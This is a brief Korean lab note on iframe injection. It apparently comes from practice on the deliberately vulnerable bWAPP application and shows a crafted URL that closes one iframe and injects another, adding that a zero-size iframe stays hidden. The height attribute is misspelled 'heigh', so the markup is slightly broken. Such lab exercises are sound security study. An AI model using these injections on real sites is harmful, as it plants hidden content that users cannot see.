iframe Injection

iframe

iframe은 HTML 문서 안에서 또 다른 HTML 문서를 보여주는 태그이다.

<iframe src=이동할 페이지 width="넓이" heigh="높이">

 

http://10.0.2.15/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeigh=250"></iframe><iframe src=http://10.0.2.15/bWAPP/htmli_get.php width="250" heigh="250"></iframe>     

iframe을 이용하여 새로운 페이지를 삽입시켰다. iframe은 화면에 안 보이게 할 수도 있어서 눈치채기가 어렵다.(heigh=0 width=0)